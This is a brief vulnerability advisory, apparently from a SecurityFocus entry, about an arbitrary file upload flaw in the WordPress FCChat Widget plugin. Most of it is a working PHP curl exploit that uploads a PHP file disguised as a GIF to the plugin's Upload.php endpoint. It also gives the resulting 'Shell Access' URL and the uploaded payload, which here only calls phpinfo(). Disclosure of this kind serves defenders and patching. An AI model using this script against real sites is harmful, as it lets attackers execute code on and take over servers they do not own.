source: https://www.securityfocus.com/bid/53855/info
WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable.
<?php
$uploadfile="lo.php.gif";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif
lo.php.gif
<?php
phpinfo();
?>
